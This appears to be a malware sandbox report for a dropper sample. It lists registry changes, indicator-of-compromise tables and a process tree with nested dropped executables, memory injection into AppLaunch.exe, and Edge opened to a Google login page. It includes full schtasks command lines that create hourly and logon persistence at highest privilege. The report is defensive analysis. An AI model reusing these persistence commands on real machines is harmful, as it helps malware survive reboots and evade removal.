Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

3bN57wO.exeExplorer.EXEmsedge.exemsedge.exemsedge.exemsedge.exemsedge.exe

pid	process
3308	3bN57wO.exe
3308	3bN57wO.exe
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
5124	msedge.exe
5124	msedge.exe
3272	Explorer.EXE
3272	Explorer.EXE
3956	msedge.exe
3956	msedge.exe
5172	msedge.exe
5172	msedge.exe
544	msedge.exe
544	msedge.exe
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
6116	msedge.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

3272 Explorer.EXE
Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

3bN57wO.exetoolspub2.exe

pid process

3308 3bN57wO.exe
5848
3736 toolspub2.exe

pid	process
3272	Explorer.EXE

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 25 IoCs

Processes:

msedge.exemsedge.exe

pid	process
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXEDF6.exepowershell.exe

description	pid	process
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeDebugPrivilege	5420	DF6.exe
Token: SeDebugPrivilege	6616	powershell.exe
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE

Suspicious use of FindShellTrayWindow 61 IoCs

Processes:

4lO623ao.exeExplorer.EXEmsedge.exemsedge.exe

pid	process
2796	4lO623ao.exe
3272	Explorer.EXE
3272	Explorer.EXE
2796	4lO623ao.exe
2796	4lO623ao.exe
2796	4lO623ao.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
2796	4lO623ao.exe
2796	4lO623ao.exe
2796	4lO623ao.exe
3272	Explorer.EXE
3272	Explorer.EXE
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe

Suspicious use of SendNotifyMessage 55 IoCs

Processes:

4lO623ao.exemsedge.exemsedge.exe

pid	process
2796	4lO623ao.exe
2796	4lO623ao.exe
2796	4lO623ao.exe
2796	4lO623ao.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
544	msedge.exe
2796	4lO623ao.exe
2796	4lO623ao.exe
2796	4lO623ao.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe
1792	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Broom.exe

pid process

3368 Broom.exe

pid	process
3368	Broom.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60.exeES2fl98.exent4mT96.exeVx3VT98.exe1Fw40dI9.exe2Tw6295.exeAppLaunch.exe4lO623ao.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exe

description	pid	process	target process
PID 3216 wrote to memory of 1904	3216	5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60.exe	ES2fl98.exe
PID 3216 wrote to memory of 1904	3216	5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60.exe	ES2fl98.exe
PID 3216 wrote to memory of 1904	3216	5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60.exe	ES2fl98.exe
PID 1904 wrote to memory of 4792	1904	ES2fl98.exe	nt4mT96.exe
PID 1904 wrote to memory of 4792	1904	ES2fl98.exe	nt4mT96.exe
PID 1904 wrote to memory of 4792	1904	ES2fl98.exe	nt4mT96.exe
PID 4792 wrote to memory of 448	4792	nt4mT96.exe	Vx3VT98.exe
PID 4792 wrote to memory of 448	4792	nt4mT96.exe	Vx3VT98.exe
PID 4792 wrote to memory of 448	4792	nt4mT96.exe	Vx3VT98.exe
PID 448 wrote to memory of 4972	448	Vx3VT98.exe	1Fw40dI9.exe
PID 448 wrote to memory of 4972	448	Vx3VT98.exe	1Fw40dI9.exe
PID 448 wrote to memory of 4972	448	Vx3VT98.exe	1Fw40dI9.exe
PID 4972 wrote to memory of 4624	4972	1Fw40dI9.exe	AppLaunch.exe
PID 4972 wrote to memory of 4624	4972	1Fw40dI9.exe	AppLaunch.exe
PID 4972 wrote to memory of 4624	4972	1Fw40dI9.exe	AppLaunch.exe
PID 4972 wrote to memory of 4624	4972	1Fw40dI9.exe	AppLaunch.exe
PID 4972 wrote to memory of 4624	4972	1Fw40dI9.exe	AppLaunch.exe
PID 4972 wrote to memory of 4624	4972	1Fw40dI9.exe	AppLaunch.exe
PID 4972 wrote to memory of 4624	4972	1Fw40dI9.exe	AppLaunch.exe
PID 4972 wrote to memory of 4624	4972	1Fw40dI9.exe	AppLaunch.exe
PID 4972 wrote to memory of 4624	4972	1Fw40dI9.exe	AppLaunch.exe
PID 4972 wrote to memory of 4624	4972	1Fw40dI9.exe	AppLaunch.exe
PID 448 wrote to memory of 3444	448	Vx3VT98.exe	2Tw6295.exe
PID 448 wrote to memory of 3444	448	Vx3VT98.exe	2Tw6295.exe
PID 448 wrote to memory of 3444	448	Vx3VT98.exe	2Tw6295.exe
PID 3444 wrote to memory of 3968	3444	2Tw6295.exe	AppLaunch.exe
PID 3444 wrote to memory of 3968	3444	2Tw6295.exe	AppLaunch.exe
PID 3444 wrote to memory of 3968	3444	2Tw6295.exe	AppLaunch.exe
PID 3444 wrote to memory of 3968	3444	2Tw6295.exe	AppLaunch.exe
PID 3444 wrote to memory of 3968	3444	2Tw6295.exe	AppLaunch.exe
PID 3444 wrote to memory of 3968	3444	2Tw6295.exe	AppLaunch.exe
PID 3444 wrote to memory of 3968	3444	2Tw6295.exe	AppLaunch.exe
PID 3444 wrote to memory of 3968	3444	2Tw6295.exe	AppLaunch.exe
PID 4792 wrote to memory of 3308	4792	nt4mT96.exe	3bN57wO.exe
PID 4792 wrote to memory of 3308	4792	nt4mT96.exe	3bN57wO.exe
PID 4792 wrote to memory of 3308	4792	nt4mT96.exe	3bN57wO.exe
PID 4624 wrote to memory of 5036	4624	AppLaunch.exe	schtasks.exe
PID 4624 wrote to memory of 5036	4624	AppLaunch.exe	schtasks.exe
PID 4624 wrote to memory of 5036	4624	AppLaunch.exe	schtasks.exe
PID 4624 wrote to memory of 4312	4624	AppLaunch.exe	schtasks.exe
PID 4624 wrote to memory of 4312	4624	AppLaunch.exe	schtasks.exe
PID 4624 wrote to memory of 4312	4624	AppLaunch.exe	schtasks.exe
PID 1904 wrote to memory of 2796	1904	ES2fl98.exe	4lO623ao.exe
PID 1904 wrote to memory of 2796	1904	ES2fl98.exe	4lO623ao.exe
PID 1904 wrote to memory of 2796	1904	ES2fl98.exe	4lO623ao.exe
PID 2796 wrote to memory of 544	2796	4lO623ao.exe	msedge.exe
PID 2796 wrote to memory of 544	2796	4lO623ao.exe	msedge.exe
PID 2796 wrote to memory of 3392	2796	4lO623ao.exe	msedge.exe
PID 2796 wrote to memory of 3392	2796	4lO623ao.exe	msedge.exe
PID 544 wrote to memory of 4392	544	msedge.exe	msedge.exe
PID 544 wrote to memory of 4392	544	msedge.exe	msedge.exe
PID 3392 wrote to memory of 848	3392	msedge.exe	msedge.exe
PID 3392 wrote to memory of 848	3392	msedge.exe	msedge.exe
PID 2796 wrote to memory of 5020	2796	4lO623ao.exe	msedge.exe
PID 2796 wrote to memory of 5020	2796	4lO623ao.exe	msedge.exe
PID 5020 wrote to memory of 560	5020	msedge.exe	msedge.exe
PID 5020 wrote to memory of 560	5020	msedge.exe	msedge.exe
PID 2796 wrote to memory of 5040	2796	4lO623ao.exe	msedge.exe
PID 2796 wrote to memory of 5040	2796	4lO623ao.exe	msedge.exe
PID 5040 wrote to memory of 1308	5040	msedge.exe	msedge.exe
PID 5040 wrote to memory of 1308	5040	msedge.exe	msedge.exe
PID 2796 wrote to memory of 3672	2796	4lO623ao.exe	msedge.exe
PID 2796 wrote to memory of 3672	2796	4lO623ao.exe	msedge.exe
PID 3672 wrote to memory of 1248	3672	msedge.exe	msedge.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3272

C:\Users\Admin\AppData\Local\Temp\5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60.exe
"C:\Users\Admin\AppData\Local\Temp\5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60.exe"
2⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3216

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ES2fl98.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ES2fl98.exe
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1904

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\nt4mT96.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\nt4mT96.exe
4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4792

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Vx3VT98.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Vx3VT98.exe
5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:448

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1Fw40dI9.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1Fw40dI9.exe
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4972

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
7⤵
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4624

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP131\OfficeTrackerNMP131.exe" /tn "OfficeTrackerNMP131 HR" /sc HOURLY /rl HIGHEST
8⤵
- Creates scheduled task(s)
PID:5036

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP131\OfficeTrackerNMP131.exe" /tn "OfficeTrackerNMP131 LG" /sc ONLOGON /rl HIGHEST
8⤵
- Creates scheduled task(s)
PID:4312

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2Tw6295.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2Tw6295.exe
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3444

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
7⤵
PID:3968

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3bN57wO.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3bN57wO.exe
5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3308

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4lO623ao.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4lO623ao.exe
4⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2796

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
5⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:544

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x168,0x16c,0x170,0x144,0x174,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec524718
6⤵
PID:4392

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:2
6⤵
PID:3888

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1
6⤵
PID:5212

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:1
6⤵
PID:5204

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2800 /prefetch:8
6⤵
PID:4448

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 /prefetch:3
6⤵
- Suspicious behavior: EnumeratesProcesses
PID:3956

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4072 /prefetch:1
6⤵
PID:6268

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3832 /prefetch:1
6⤵
PID:2832

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4316 /prefetch:1
6⤵
PID:6508

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4468 /prefetch:1
6⤵
PID:6536

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4900 /prefetch:1
6⤵
PID:6940

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5128 /prefetch:1
6⤵
PID:5228

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5380 /prefetch:1
6⤵
PID:5748

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4644 /prefetch:1
6⤵
PID:6724

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3144 /prefetch:1
6⤵
PID:6980

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6448 /prefetch:1
6⤵
PID:5948

